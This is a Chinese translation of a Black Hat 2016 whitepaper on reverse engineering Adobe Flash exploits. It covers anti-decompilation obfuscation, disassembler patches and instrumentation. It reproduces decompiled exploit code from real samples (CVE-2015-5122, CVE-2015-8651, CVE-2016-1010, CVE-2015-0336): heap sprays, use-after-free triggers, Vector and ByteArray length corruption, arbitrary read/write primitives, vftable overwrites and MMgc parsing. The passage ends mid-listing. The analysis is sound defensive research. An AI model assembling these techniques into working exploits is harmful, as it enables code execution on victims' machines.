原文鏈接:https://www.blackhat.com/docs/us-16/materials/us-16-Oh-The-Art-of-Reverse-Engineering-Flash-Exploits-wp.pdf

原作者:jeongoh@microsoft.com

譯:xd0ol1 (知道創宇404實驗室)

0 關于Adobe Flash Player的漏洞

隨著近來Java插件和Web瀏覽器在安全防護措施上的提升,攻擊者們開始重新關注起Adobe Flash Player來,并將其視作主要的漏洞利用攻擊目標。

多年來,借助Vector結構的corruption一直是實現Flash漏洞利用的首選方案。Vector是Adobe Flash Player中的一個數據結構,它以非常簡潔的形式保存在native空間中,我們可以很容易的操縱此結構而不必擔心其它字段會被破壞。而在引入Vector的長度保護后,攻擊者們又轉向了ByteArray結構的corruption(CVE-2015-7645)。

另一方面,CFG(Control Flow Guard)保護或者又叫CFI(Control Flow Integrity)保護是由Windows 8.1系統引入的,最新的Adobe Flash Player中也用到了此技術。對exploit開發者來說利用對象vftable的corruption已經是很常見的技術了,CFG就是針對此提出的緩解策略,它將在vftable中的虛函數調用前進行有效性的判斷,如果調用未被確認則會退出進程。

1 逆向分析方法

分析Adobe Flash Player的exploit是一件非常具有挑戰性的工作,由于缺少高效的字節碼調試工具,這使得漏洞調試對安全研究人員來說簡直就是一場噩夢,并且exploit的混淆處理通常都是一個單向的過程,任何試圖反編譯它們的行為都會產生警告。當然,確實也存在很多好用的反編譯器,但它們通常在某些點上會執行失敗,而且攻擊者經常想出新的混淆方案來保護他們的exploit不被逆向。更糟的是除非你能獲取源碼,不然你還真沒什么好的方法來驗證反編譯結果的準確性。由于反編譯時的這種限制,在逆向過程中通常會用到多種分析工具及技術。

1.1 反編譯工具

事實上,還是有許多針對SWF文件的商業版和開源版反編譯器。其中,JPEXS Free Flash Decompiler是開源中較有用的反編譯器之一,而對于商業版來說,Action Script Viewer的反編譯結果要好得多。限制這些工具的根本原因在于SWF文件中存在大量的混淆代碼,這使得反編譯幾近不可能或者結果中包含有嚴重的錯誤。此外,一些反編譯器只給出了它們能生成的最好結果,但對可能的錯誤卻從不提供警告。

下面為其中一款反編譯器處理過程中產生的錯誤,當出現“unresolved jump”錯誤時,在這附近的反編譯結果往往不是那么準確。

 for (;_local_9 < _arg_1.length;(_local_6 = _SafeStr_128(_local_5, 0x1E)), goto _label_2, if (_local_15 < 0x50) goto _label_1;
, (_local_4 = _SafeStr_129(_local_4, _local_10)), for (;;)
 {
   _local_8 = _SafeStr_129(_local_8, _local_14);
   (_local_9 = (_local_9 + 0x10));
   //unresolved jump <- unresolved jump error
   // @239 jump @254

圖1  ASV反編譯器的“unresolved jump”錯誤

下列給出了錯誤發生處的反匯編結果,可以看到大部分是針對反編譯器進行混淆的花指令。對未初始化寄存器用于產生帶有垃圾指令代碼塊的情況,大多數反編譯器還不能進行很好的識別。

 getlocal3
 getlocal 15 ; 0x0F 0x0F
 getlocal 17 ; 0x11 0x11 // register 17 is never initialized
 iftrue L511 ; 0xFF 0xFF // This condition is always false
 jump L503 ; 0xF7 0xF7
 ; 0xD7 <- Start of garbage code (this code will be never reached)
 ; 0xC2
 ; 0x0B
 ; 0xC2
 ; 0x04
 ; 0x73
 ; 0x92
 ; 0x0A
 ; 0x08
 ; 0x0F
 ; 0x85
 ; 0x64
 ; 0x08
 ; 0x0C
L503:
 pushbyte 8 ; 0x08 0x08 // All garbage code
 getlocal 17 ; 0x11 0x11
 iffalse L510 ; 0xFE 0xFE
 negate_i
 increment_i
 pushbyte 33 ; 0x21 0x21
 multiply_i
L510:
 subtract
L511:
 getproperty MultinameL([PrivateNamespace("*", "override const/class#0"), PackageNamespace("", "#0"), PrivateNamespace("*",
"override const/class#1"), PackageInternalNs(""), Namespace("http://adobe.com/AS3/2006/builtin"), ProtectedNamespace("override
const"), StaticProtectedNs("override const")]) ; 0x20 0x20

圖2  花指令

1.2 反匯編工具

另一種分析方法是借助反匯編器。RABCDAsm是一款非常強大的反匯編器,它可以從SWF文件中提取出AVM2(ActionScript Virtual Machine 2)中使用的ABC(ActionScript Byte Code)字段,并反匯編其中的字節碼。更多有關AVM2的指令信息,請參考ActionScript Virtual Machine 2 Overview from Adobe

不過我們發現最新的Angler攻擊包中會通過特定代碼來實現SWF文件的反反匯編,例如給lookupswitch指令賦一個很大的case_count值但跳轉地址中卻不包含實際的代碼,此方法就可用來對諸如RABCDasm這樣的工具進行反反匯編處理。

L4:
 lookupswitch L6-42976, []

圖3  惡意的lookupswitch指令

下述為readMethodBody函數中針對此特定情況的補丁代碼,它會過濾掉case_count值大于0xffff的所有lookupswitch指令。

case OpcodeArgumentType.SwitchTargets:
- instruction.arguments[i].switchTargets.length = readU30()+1;
- foreach (ref label; instruction.arguments[i].switchTargets)
+ int length = readU30();
+ if (length<0xffff)
  {
-   label.absoluteOffset = instructionOffset + readS24();
-   queue(label.absoluteOffset);
+   instruction.arguments[i].switchTargets.length = length+1;
+   foreach (ref label; instruction.arguments[i].switchTargets)
+   {
+     label.absoluteOffset = instructionOffset + readS24();
+     queue(label.absoluteOffset);
+   }
+   break;
+ }
+ else
+ {
+   writefln("Abnormal SwitchTargets length: %x", length);
  }
- break;

圖4  readMethodBody函數中的補丁

同時,由于我們也可以通過RABCDAsm來編譯AS腳本,所以如果在匯編文件中有發現惡意ABC字段生成的無效lookupswitch指令,我們也應該忽略它們。writeMethodBody函數中的補丁代碼如下。

case OpcodeArgumentType.SwitchTargets:
- if (instruction.arguments[i].switchTargets.length < 1)
-   throw new Exception("Too few switch cases");
- writeU30(instruction.arguments[i].switchTargets.length-1);
- foreach (off; instruction.arguments[i].switchTargets)
+ if (instruction.arguments[i].switchTargets.length > 0)
  {
-   fixups ~= Fixup(off, pos, instructionOffset);
-   writeS24(0);
+   //throw new Exception("Too few switch cases");
+   writeU30(instruction.arguments[i].switchTargets.length-1);
+   foreach (off; instruction.arguments[i].switchTargets)
+   {
+     fixups ~= Fixup(off, pos, instructionOffset);
+     writeS24(0);
+   }
  }
  break;
}

圖5  writeMethodBody函數中的補丁

1.3 FlashHacker

FlashHacker是一個開源的項目,它最初是基于ShmooCon 2012大會上提出的相關概念而開發的原型。在此之上我們進行了二次開發,使之可以對更多的AVM字節碼元素進行插樁,并提供了更詳細的過濾選項。在進行AVM字節碼插樁時,其中的一大挑戰是由于CPU密集型計算而導致的性能下降。例如,借助插樁代碼進行的堆噴操作通常會由于Flash Player中的超時機制導致漏洞利用的失敗。但我們仍然可以通過過濾這些CPU密集型計算的代碼來執行精確操作,插樁技術通常適用于RCA(root cause analysis)分析以及我們最近進行的有關保護措施繞過方面的研究。

1.4 AVMPlus源碼

要是能獲取當前分析程序的源碼,那么這無疑很有優勢。我們可以在AVMplus項目中查看AVM的開源實現,這對理解一些漏洞利用程序的操作會很有幫助,我們甚至發現一些利用程序直接使用了AVMplus中的代碼,比如其中的MMgc實現部分。

1.5 Native層Flash調試

此外,除非我們能獲取Flash程序的符號信息,否則在native層對Flash漏洞或exploit的調試都將是極富挑戰性的。

2 RW primitives

“read/write primitives”是指exploit中用于實現內存讀寫的對象或函數,現今的漏洞攻擊通常需要借此來繞過ASLR或DEP等保護機制。而從防御者的角度來看,如果能知道exploit中所利用的RW primitives,那么將有助于弄清exploit是采用何種方式來繞過諸如CFG這樣的保護措施。

2.1 Vector結構的corruption

自從CVE-2013-0634中引入Lady Boyle的利用方式后,對Vector結構的corruption事實上就成了Flash漏洞利用的標準,甚至一些IE的漏洞(CVE-2013-3163,CVE-2014-0322和CVE-2014-1776)也用到了此方法。有關IE中Vector結構的利用詳情,可以參考Chun Feng和Elia Florio所發的文章

下述的CVE-2015-5122(TextLine的UAF漏洞)利用代碼就是通過標準的Vector結構corruption來實現RW primitives,當把Vector.\和TextLine對象布局到內存中的相鄰位置后,就可以觸發use-after-free了。在此情況下,通過正常的Vector對象賦值操作就可將相鄰Vector對象的length字段置為0x40000000。因此,這個corrupt后的Vector結構能被用作RW primitives。

public class MyClass extends MyUtils
{
  ...
  static var _mc:MyClass;
  static var _vu:Vector.<uint>;
  static var LEN40:uint = 0x40000000;
  static function TryExpl()
  {
    ...
    _arLen1 = (0x0A * 0x03);
    _arLen2 = (_arLen1 + (0x04 * 0x04));
    _arLen = (_arLen2 + (0x0A * 0x08));
    _ar = new Array(_arLen);
    _mc = new MyClass();
    ...
    _vLen = ((0x0190 / 0x04) - 0x02);
    while (i < _arLen1)
    {
      _ar[i] = new Vector.<uint>(_vLen);
      i = (i + 1);
    };

圖6  第一次Vector對象的噴射

i = _arLen2;
while (i < _arLen)
{
  _ar[i] = new Vector.<uint>(0x08);
  _ar[i][0x00] = i;
  i = (i + 1);
};
i = _arLen1;

圖7  第二次Vector對象的噴射

while (i < _arLen2)
{
  _ar[i] = _tb.createTextLine(); //_tb is TextBlock object
  i = (i + 1);
};
i = _arLen1;
while (i < _arLen2)
{
  _ar[i].opaqueBackground = 0x01;
  i = (i + 1);
};

圖8  TextLine對象的噴射

在完成Vector和TextLine對象的噴射操作后,該exploit會將valueOf2賦給自身MyClass類中的prototype對象。

MyClass.prototype.valueOf = valueOf2;
_cnt = (_arLen2 - 0x06);
_ar[_cnt].opaqueBackground = _mc; // Trigger use-after-free vulnerability (static var _mc:MyClass)

圖9  觸發UAF漏洞

接著,當_mc變量賦給opaqueBackground時valueOf2函數會被調用。

static function valueOf2()
{
  var i:int;
  try
  {
    if (++_cnt < _arLen2)
    {
      _ar[_cnt].opaqueBackground = _mc;
    }
    else
    {
      Log("MyClass.valueOf2()");
      i = 0x01;
      while (i <= 0x05)
      {
        _tb.recreateTextLine(_ar[(_arLen2 - i)]); // Trigger use-after-free condition
        i = (i + 1);
      };
      i = _arLen2;
      while (i < _arLen)
      {
        _ar[i].length = _vLen;
        i = (i + 1);
      };
    };
    ...
    return ((_vLen + 0x08));
  }

圖10  調用valueOf2函數

i = _arLen2;
while (i < _arLen)
{
  _vu = _ar[i];
  if (_vu.length > (_vLen + 0x02))
  {
    Log(((("ar[" + i) + "].length = ") + Hex(_vu.length)));
    Log(((((("ar[" + i) + "][") + Hex(_vLen)) + "] = ") + Hex(_vu[_vLen])));
    if (_vu[_vLen] == _vLen)
    {
      _vu[_vLen] = LEN40; // Corrupt _vu[_vLen+0x02].length to LEN40 (0x40000000)
      _vu = _ar[_vu[(_vLen + 0x02)]]; // _vu now points to corrupt Vector element
      break;
    };
  };
  i = (i + 1);
};

圖11  查找corrupt后的Vector元素

此過程中FlashHacker的日志信息如下所示,可以看到Vector.\.length字段被置成了0x40000000。

* Detection: Setting valueOf: Object=Object Function=valueOf2
* Setting property: MyClass.prototype.valueOf
Object Name: MyClass.prototype
Object Type: Object
Property: valueOf
Location: MyClass32/class/TryExpl
builtin.as$0::MethodClosure
 function Function() {}

* Detection: CVE-2015-5122
* Returning from: MyClass._tb.recreateTextLine
* Detection: CVE-2015-5122
* Returning from: MyClass._tb.recreateTextLine
* Detection: CVE-2015-5122
* Returning from: MyClass._tb.recreateTextLine
* Detection: CVE-2015-5122
* Returning from: MyClass._tb.recreateTextLine
* Detection: CVE-2015-5122
* Returning from: MyClass._tb.recreateTextLine
* Detection: Vector Corruption
Corrupt Vector.<uint>.length: 0x40000000 at MyClass32/class/TryExpl L239 <- Vector corruption detected
... Message repeat starts ...

... Last message repeated 2 times ...
Writing __AS3__.vec::Vector.<uint>[0x3FFFFF9A]=0x6A->0x62 Maximum Vector.<uint>.length:328 <- out-of-bounds access
Location: MyClass32/class/Prepare (L27)
Current vector.<Object> Count: 1 Maximum length:46
Writing __AS3__.vec::Vector.<uint>[0x3FFE6629]=0xAC84EE0->0xA44B348 Maximum Vector.<uint>.length:328
Location: MyClass32/class/Set (L20)
Writing __AS3__.vec::Vector.<uint>[0x3FFE662A]=0xAE76041->0x9C Maximum Vector.<uint>.length:328
Location: MyClass32/class/Set (L20)

圖12  Vector結構corrupt過程中的FlashHacker日志

2.2 ByteArray結構的corruption

在代號為DUBNIUM的行動中,我們發現CVE-2015-8651的利用樣本通過對ByteArray.length字段的corruption來實現RW primitives,此技術是為了繞過Vector的長度保護而引入的。

_local_4 = 0x8012002C;
si32(0x7FFFFFFF, (_local_4 + 0x7FFFFFFC)); // Out-of-bounds write with si32 upon ByteArray.length location at _local_4 + 0x7FFFFFFC with value of 0x7FFFFFFF

圖13  通過si32指令對ByteArray.length字段進行corrupt

在完成ByteArray.length字段的corrupt后,我們還需要找到受影響的那個ByteArrays元素。

_local_10 = 0x00;
while (_local_10 < bc.length)
{
  if (bc[_local_10].length > 0x10) // Check if ByteArray.length is corrupt
  {
    cbIndex = _local_10; // Index of corrupt ByteArray element in the bc array
  }
  else
  {
    bc[_local_10] = null;
  };
  _local_10++;
};

圖14  確定受影響的ByteArray元素

下面給出的是此exploit提供的各個RW primitives方法,基本上能支持各個操作系統中的目標程序。

public function read32(destAddr:Number, modeAbs:Boolean=true):Number
private function read32x86(destAddr:int, modeAbs:Boolean):uint
private function read32x64(destAddr:Number, modeAbs:Boolean):uint
public function readInt(u1:int, u2:int, mod:uint):int
public function read64(destAddr:Number, modeAbs:Boolean=true):Number
private function read64x86(destAddr:int, modeAbs:Boolean):Number
private function read64x64(destAddr:Number, modeAbs:Boolean):Number
public function readBytes(destAddr:Number, nRead:uint, modeAbs:Boolean=true):ByteArray
private function readBytesx86(destAddr:uint, nRead:uint, modeAbs:Boolean):ByteArray
private function readBytesx64(destAddr:Number, nRead:uint, modeAbs:Boolean):ByteArray
public function write32(destAddr:Number, value:uint, modeAbs:Boolean=true):Boolean
private function write32x86(destAddr:int, value:uint, modeAbs:Boolean=true):Boolean
private function write32x64(destAddr:Number, value:uint, modeAbs:Boolean=true):Boolean
public function write64(destAddr:Number, value:Number, modeAbs:Boolean=true):Boolean
private function write64x86(destAddr:uint, value:Number, modeAbs:Boolean):Boolean
private function write64x64(destAddr:Number, value:Number, modeAbs:Boolean):Boolean
public function writeBytes(destAddr:Number, baWrite:ByteArray, modeAbs:Boolean=true):ByteArray
private function writeBytesx86(destAddr:uint, ba:ByteArray, modeAbs:Boolean):ByteArray
private function writeBytesx64(destAddr:Number, ba:ByteArray, modeAbs:Boolean):ByteArray

圖15  RW primitives方法

例如,read32x86方法可用于讀取x86平臺上任意進程空間的內容。其中,cbIndex變量是bc數組的索引,該數組為ByteArray類型,同時,bc[cbIndex]對應的正是那個corrupt后的ByteArray元素。首先需要通過position成員來設置目標地址,之后便可以使用readUnsignedInt方法讀取此內存值。

private function read32x86(destAddr:int, modeAbs:Boolean):uint
{
  var _local_3:int;
  if (((isMitisSE) || (isMitisSE9)))
  {
    bc[cbIndex].position = destAddr;
    bc[cbIndex].endian = "littleEndian";
    return (bc[cbIndex].readUnsignedInt());
  };

圖16  Read primitive方法

write32x86方法也是相同的道理,它借助writeUnsignedInt來實現任意內存的寫入操作。

private function write32x86(destAddr:int, value:uint, modeAbs:Boolean=true):Boolean
{
  if (((isMitisSE) || (isMitisSE9)))
  {
    bc[cbIndex].position = destAddr;
    bc[cbIndex].endian = "littleEndian";
    return (bc[cbIndex].writeUnsignedInt(value));
  };

圖17  Write primitive方法

基于這些,exploit也就能夠完成一些更復雜的操作了,例如可以借助readBytes方法實現多個字節的讀取。

private function readBytesx86(destAddr:uint, nRead:uint, modeAbs:Boolean):ByteArray
{
  var _local_4:ByteArray = new ByteArray();
  var _local_5:uint = read32(rwableBAPoiAddr);
  write32(rwableBAPoiAddr, destAddr);
  var _local_6:uint;
  if (nRead > 0x1000)
  {
    _local_6 = read32((rwableBAPoiAddr + 0x08));
    write32((rwableBAPoiAddr + 0x08), nRead);
  };
  rwableBA.position = 0x00;
  try
  {
    rwableBA.readBytes(_local_4, 0x00, nRead);
  }

圖18  讀取單個字節

2.3 ConvolutionFilter.matrix和tabStops的類型混淆

CVE-2016-1010這個堆溢出漏洞存在于BitMapData.copyPixel方法中,相應exploit中用到的RW primitives是很有意思的,值得注意的是這些RW primitives功能將用于實現ByteArray對象的RW primitives,后面的內存讀寫也主要借助這個corrupt后的ByteArray對象。因此,最開始實現的RW primitives功能只起到了一個臨時的作用,由之實現的ByteArray對象上的RW primitives功能才是主要的,因為就編程來說操作ByteArray對象會顯得更直觀些。

實現RW primitives功能的第一步為執行Convolutionfilter對象的噴射操作。

public function SprayConvolutionFilter():void
{
  var _local_2:int;
  hhj234kkwr134 = new ConvolutionFilter(defaultMatrixX, 1);
  mnmb43 = new ConvolutionFilter(defaultMatrixX, 1);
  hgfhgfhfg3454331 = new ConvolutionFilter(defaultMatrixX, 1);
  var _local_1:int;
  while (_local_1 < 0x0100)
  {
    _local_2 = _local_1++;
    ConvolutionFilterArray[_local_2] = new ConvolutionFilter(defaultMatrixX, 1); // heap spraying ConvolutionFilter objects
  };
}

接著由copyPixels方法觸發此漏洞后,exploit會通過調用TypeConfuseConvolutionFilter方法來創建一個類型混淆的ConvolutionFilter對象。

public function TriggerVulnerability():Boolean
{
  var _local_9:int;
  var sourceBitmapData:BitmapData = new BitmapData(1, 1, true, 0xFF000001); // fill color is FF000001
  var sourceRect:Rectangle = new Rectangle(-880, -2, 0x4000000E, 8);
  var destPoint:Point = new Point(0, 0);
  var _local_4:TextFormat = new TextFormat();
  _local_4.tabStops = [4, 4];
  ...
  _local_1.copyPixels(sourceBitmapData, sourceRect, destPoint);
  if (!(TypeConfuseConvolutionFilter()))
  {
    return (false);
  };

圖19  在TriggerVulnerability中調用TypeConfuseConvolutionFilter

對于TypeConfuseConvolutionFilter函數,它將借助DWORD值0x55667788來標識corrupt后的內存區域,并借此定位堆噴對象中那個類型混淆的ConvolutionFilter元素。

public function TypeConfuseConvolutionFilter():Boolean
{
  ...
  while (_local_3 < 0x0100)
  {
    _local_4 = _local_3++;
    ConvolutionFilterArray[_local_4].matrixY = kkkk2222222;
    ConvolutionFilterArray[_local_4].matrix = _local_2;
  };
  ...
  _local_5 = gfhfghsdf22432.ghfg43[bczzzzz].matrix;
  _local_5[0] = jjj3.IntToNumber(0x55667788); // Corrupt memory
  gfhfghsdf22432.ghfg43[bczzzzz].matrix = _local_5;
  ConfusedConvolutionFilterIndex = -1;
  _local_3 = 0;
  while (((ConfusedConvolutionFilterIndex == (-1)) && ((_local_3 < ConvolutionFilterArray.length))))
  {
    matrix = ConvolutionFilterArray[_local_3].matrix;
    _local_4 = 0;
    _local_6 = _local_9.length;
    while (_local_4 < _local_6)
    {
      _local_7 = _local_4++;
      if ((jjj3.NumberToDword(matrix[_local_7]) == 0x55667788)) // Locate type-confused ConvolutionFilter object
      {
        ConfusedConvolutionFilterIndex = _local_3;
        break;
      };
    };
    _local_3++;
  };

圖20  對ConvolutionFilter進行類型混淆并找出受影響的元素

而在創建完類型混淆的ConvolutionFilter對象后,exploit將借其來定位類型混淆的TextField對象。

public function TriggerVulnerability():Boolean
{
  ...
  var _local_7:Boolean;
  var _local_8:int;
  while (_local_8 < 16)
  {
    _local_9 = _local_8++;
    TextFieldArray[_local_9].setTextFormat(_local_4, 4, 5);
    ConfusedMatrix = ConvolutionFilterArray[((ConfusedConvolutionFilterIndex + 5) - 1)].matrix;
    if ((jjj3.NumberToDword(ConfusedMatrix[ConfusedMatrixIndex]) == 8))
    {
      ConfusedTextField = TextFieldArray[_local_9]; // Type-confused TextField
      _local_7 = true;
      break;
    };
  };

圖21  查找類型混淆的TextField對象

最后看一下Read4方法的實現,如果存在corrupt后的ByteArray對象,那么將會優先通過它來讀取內存,同時此方法中也可以借助類型混淆的ConvolutionFilter和TextField對象進行內存的讀取,其中目標地址由ConvolutionFilter對象來傳遞,然后通過textFormat.tabStops[0]來讀取內存數據。

public function read4(_arg_1:___Int64):uint
{
  var matrixIndex:int;
  if (IsByteArrayCorrupt)
  {
    SetCorruptByteArrayPosition(_arg_1);
    return (CorruptByteArray.readUnsignedInt());
  };
  matrixIndex = (17 + ConfusedMatrixIndex);
  TmpMatrix[matrixIndex] = jjj3.IntToNumber(_arg_1.low);
  TmpMatrix[(matrixIndex + 1)] = jjj3.IntToNumber(1);
  ConvolutionFilterArray[((ConfusedConvolutionFilterIndex + 5) - 1)].matrix = TmpMatrix;
  textFormat = ConfusedTextField.getTextFormat(0, 1);
  return (textFormat.tabStops[0]);
}

圖22  通過TextFormat.tabStops[0]讀取內存數據

3 CFG保護

自從Adobe Flash Player中引入CFG保護后,代碼執行對于exploit開發者來說就成了一個很艱巨的任務,我們總結了他們近來使用的各項技術,發現CFG還是非常強大的,它使得exploit的開發成本大幅提高了。事實上,在過去兩年中,坊間并未出現針對微軟Windows 8.1+系統中Internet Explorer 11的遠程代碼執行0day漏洞,這些系統都是有CFG保護的。

.text:10C5F13B mov esi, [esp+58h+var_3C]
.text:10C5F13F lea eax, [esp+58h+var_34]
.text:10C5F143 movups xmm1, [esp+58h+var_34]
.text:10C5F148 movups xmm0, [esp+58h+var_24]
.text:10C5F14D push dword ptr [esi]
.text:10C5F14F mov esi, [esi+8]
.text:10C5F152 pxor xmm1, xmm0
.text:10C5F156 push eax
.text:10C5F157 push eax
.text:10C5F158 mov ecx, esi
.text:10C5F15A movups [esp+64h+var_34], xmm1
.text:10C5F15F call ds:___guard_check_icall_fptr // CFG check routine
.text:10C5F165 call esi

圖23  CFG檢測代碼

3.1 引入CFG前的代碼執行技術 - vftable的corruption

在引入CFG保護之前,如果exploit能夠獲取目標進程空間的讀寫特權,那么代碼執行就變得很容易了,大部分情況下只需corrupt目標對象的vftable表,然后就可以調用自身代碼了,其中FileReference和Sound是最常利用的目標對象。以下CVE-2015-0336的exploit代碼給出了一個通過FileReference.cancel方法進行代碼執行的例子。

var _local_10:uint = (read32((_local_5 + (((0x08 - 1) * 0x28) * 0x51))) + (((((-(0x9C) + 1) - 1) - 0x6E) - 1) + 0x1B));
var _local_4:uint = read32(_local_10);
write32(_local_10, _local_7);
cool_fr.cancel();

圖24  在利用代碼中調用FileReference.cancel

下述為此exploit借助FileReference對象執行shellcode的日志信息。

Writing __AS3__.vec::Vector.<uint>[0x7FFFFBFE]=0x9A90201E->0x1E Maximum Vector.<uint>.length:1022
Location: Main/instance/trig_loaded (L340)
Writing __AS3__.vec::Vector.<uint>[0x7FFFFBFF]=0x7E74027->0x7E74000 Maximum Vector.<uint>.length:1022
Location: Main/instance/trig_loaded (L402)
Writing __AS3__.vec::Vector.<uint>[0x7BBE2F8F]=0x931F1F0->0x2A391000 Maximum Vector.<uint>.length:1022
Location: Main/instance/Main/instance/write32 (L173)
> Call flash.net::FileReference QName(PackageNamespace("", null), "cancel"), 0
Instruction: callpropvoid QName(PackageNamespace("", null), "cancel"), 0
Called from: Main/instance/trig_loaded:L707
* Returning from: flash.net::FileReference QName(PackageNamespace("", null), "cancel"), 0
Writing __AS3__.vec::Vector.<uint>[0x7BBE2F8F]=0x2A391000->0x931F1F0 Maximum Vector.<uint>.length:1022
Location: Main/instance/Main/instance/write32 (L173)
Writing __AS3__.vec::Vector.<uint>[0x7FFFFFFE]=0x7FFFFFFF->0x1E Maximum Vector.<uint>.length:1022
Location: Main/instance/Main/instance/repair_vector (L32)

圖25  通過FileReference.cancel調用執行shellcode

4 MMgc內存管理垃圾回收器

隨著CFG保護的引入,攻擊者們又轉而在MMgc中查找能夠利用的目標,以便完成接下去的代碼執行。對MMgc來說,它在許多內部結構的分配上具有可預測的行為,這有助于攻擊者們解析MMgc中的對象結構從而找出可利用的目標。

4.1 查找對象

坊間發現的CVE-2016-1010利用樣本會通過解析MMgc的內部結構來達成多種目的,此過程需要先泄露對象的內存地址,在此樣本中,泄漏的地址來自于一個類型混淆的ConvolutionFilter對象。

public function TriggerVulnerability():Boolean
{
  ...
  _local_1.copyPixels(_local_1, _local_2, _local_3);
  if (!(TypeConfuseConvolutionFilter()))
  {
    return (false);
  };
  ...
  gfhfghsdf22432.ghfg43[(bczzzzz + 1)].matrixX = 15;
  gfhfghsdf22432.ghfg43[bczzzzz].matrixX = 15;
  gfhfghsdf22432.ghfg43[((bczzzzz + 6) - 1)].matrixX = 15;
  LeakedObjectAddress = jjj3.hhhh33((jjj3.NumberToDword(ConvolutionFilterArray[ConfusedConvolutionFilterIndex].matrix[0]) & - 4096), 0);

圖26  泄漏對象的內存地址

下述代碼給出的是EnumerateFixedBlocks(hhh222)函數的起始部分。

public function EnumerateFixedBlocks (param1:int, param2:Boolean, param3:Boolean = true, param4:___Int64 = undefined) : Array
{
  ...
  var _loc6_:* = ParseFixedAllocHeaderBySize(param1,param2);

圖27  在EnumerateFixedBlocks(hhh222)中會進行ParseFixedAllHeaderBySize和ParseFixedBlock調用

由分析可知,EnumerateFixedBlocks(hhh222)首先會調用ParseFixedAllocHeaderBySize(ghfgfh23), 而ParseFixedAllocHeaderBySize(ghfgfh23)又會通過LocateFixedAllocAddrBySize(jjj34fdfg)和ParseFixedAllocHeader(cvb45)函數來獲取并解析那些具有特定大小的對象。

public function ParseFixedAllocHeaderBySize(_arg_1:int, _arg_2:Boolean):Object
{
  var _local_3:ByteArray = gg2rw.readn(LocateFixedAllocAddrBySize(_arg_1, _arg_2), FixedAllocSafeSize);
  return (ParseFixedAllocHeader(_local_3, LocateFixedAllocAddrBySize(_arg_1, _arg_2)));
}

圖28  ParseFixedAllocHeaderBySize(ghfgfh23)函數

LocateFixedAllocAddrBySize

LocateFixedAllocAddrBySize(jjj34fdfg)函數會通過arg_1參數來獲取堆的大小,其返回值是相應堆塊的內存起始地址。

* Enter: Jdfgdfgd34/instance/jjj34fdfg(000007f0, True)
* Return: Jdfgdfgd34/instance/jjj34fdfg 00000000`6fb7c36c

圖29  LocateFixedAllocAddrBySize(jjj34fdfg)函數返回對象的內存地址,此對象大小為0x7f0

下面這部分代碼會基于Flash的版本號和運行平臺計算出地址的長度以及FixedAllocSafe結構的大小。

public function Jdfgdfgd34(_arg_1:*, _arg_2:Object):void
{
  ...
  AddressLength = 4;
  if (is64bit)
  {
    AddressLength = 8;
  };
  FixedAllocSafeSize = (((8 + (5 * AddressLength)) + AddressLength) + AddressLength);
  if ((cbc4344.FlashVersionTokens[0] >= 20))
  {
    FixedAllocSafeSize = (FixedAllocSafeSize + AddressLength);
  };

圖30  確定MMgc中的相關偏移值和對象大小

而DetermineMMgcLocations(hgjdhjjd134134)函數則用于確定MMgc中相關的位置信息。

public function DetermineMMgcLocations (_arg_1:___Int64, _arg_2:Boolean):Boolean
{
  var _local_6 = (null as ___Int64);
  var _local_7 = (null as ___Int64);
  var _local_8 = (null as ___Int64);
  var _local_4:int = (jjjj222222lpmc.GetLow(_arg_1) & -4096);
  var _local_3:___Int64 = jjjj222222lpmc.ConverToInt64((_local_4 + jhjhghj23.bitCount), jjjj222222lpmc.GetHigh(_arg_1));
  _local_3 = jjjj222222lpmc.Subtract(_local_3, offset1);
  var _local_5:___Int64 = gg2rw.peekPtr(_local_3);
  _local_7 = new ___Int64(0, 0);
  _local_6 = _local_7;
  if ((((_local_5.high == _local_6.high)) && ((_local_5.low == _local_6.low))))
  {
    return (false);
  };
  cvbc345 = gg2rw.peekPtr(_local_5);
  ...
  if (!(IsFlashGT20))
  {
    _local_6 = SearchDword3F8(_local_5);
    M_allocs01 = _local_6;
    M_allocs02 = _local_6;
  }
  else
  {
    if (_arg_2)
    {
      M_allocs01 = SearchDword3F8(_local_5);
      ...
      M_allocs02 = SearchDword3F8(jjjj222222lpmc.AddInt64(M_allocs01, (FixedAllocSafeSize + 20)));
    }
    else
    {
      M_allocs02 = SearchDword3F8(_local_5);
      ...
      M_allocs01 = SearchDword3F8(jjjj222222lpmc.SubtractInt64(M_allocs02, (FixedAllocSafeSize + 20)));
    };
  };
  ...
}

DetermineMMgcLocations(hgjdhjjd134134)函數會將對象泄露后得到的相關地址信息交由SearchDword3F8處理,而后SearchDword3F8函數會在內存中搜索DWORD值0x3F8 ,這個值似乎是MMgc結構中一個非常重要的標識。

public function SearchDword3F8(_arg_1:___Int64):___Int64
{
  var currentAddr:___Int64 = _arg_1;
  var ret:int;
  while (ret != 0x3F8)
  {
    currentAddr = jjjj222222lpmc.SubtractInt64(currentAddr, FixedAllocSafeSize);
    if (IsFlashGT20)
    {
      ret = gg2rw.read4(jjjj222222lpmc.AddInt64(currentAddr, (AddressLength + 4)));
    }
    else
    {
      ret = gg2rw.read4(jjjj222222lpmc.AddInt64(currentAddr, AddressLength));
    };
  };
  return (jjjj222222lpmc.SubtractInt64(currentAddr, (AddressLength + 4)));
}

圖31  SearchDword3F8函數用于掃描內存中的DWORD值0x3f8

接著LocateFixedAllocAddrBySize(jjj34fdfg)函數會借助GetSizeClassIndex方法來獲取索引值,并與前面得到的跟Flash版本及平臺相關的大小信息一起用于計算FixedAlloc結構頭的偏移量。

public function LocateFixedAllocAddrBySize(_arg_1:int, _arg_2:Boolean):___Int64
{
  var index:int = jhjhghj23. GetSizeClassIndex(_arg_1);
  var offset:int = ((2 * AddressLength) + (index * FixedAllocSafeSize));
  if (_arg_2)
  {
    return (jjjj222222lpmc. AddInt (M_allocs01, offset));
  };
  return (jjjj222222lpmc. AddInt (M_allocs02, offset));
}

圖32  LocateFixedAllocAddrBySize(jjj34fdfg)函數

下述代碼為exploit中的GetSizeClassIndex實現:

public function Jdfgdf435GwgVfg():void
{
  ...
  kSizeClassIndex64 = [0, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 22, 23, 23, 24, 24, 25, 26, 26, 27, 27, 28,
  28, 28, 29, 29, 30, 30, 30, 30, 31, 31, 31, 32, 32, 32, 32, 32, 33, 33, 33, 33, 33, 33, 34, 34, 34, 34, 34, 34, 34, 35, 35, 35, 35, 35, 35, 35, 35, 35,
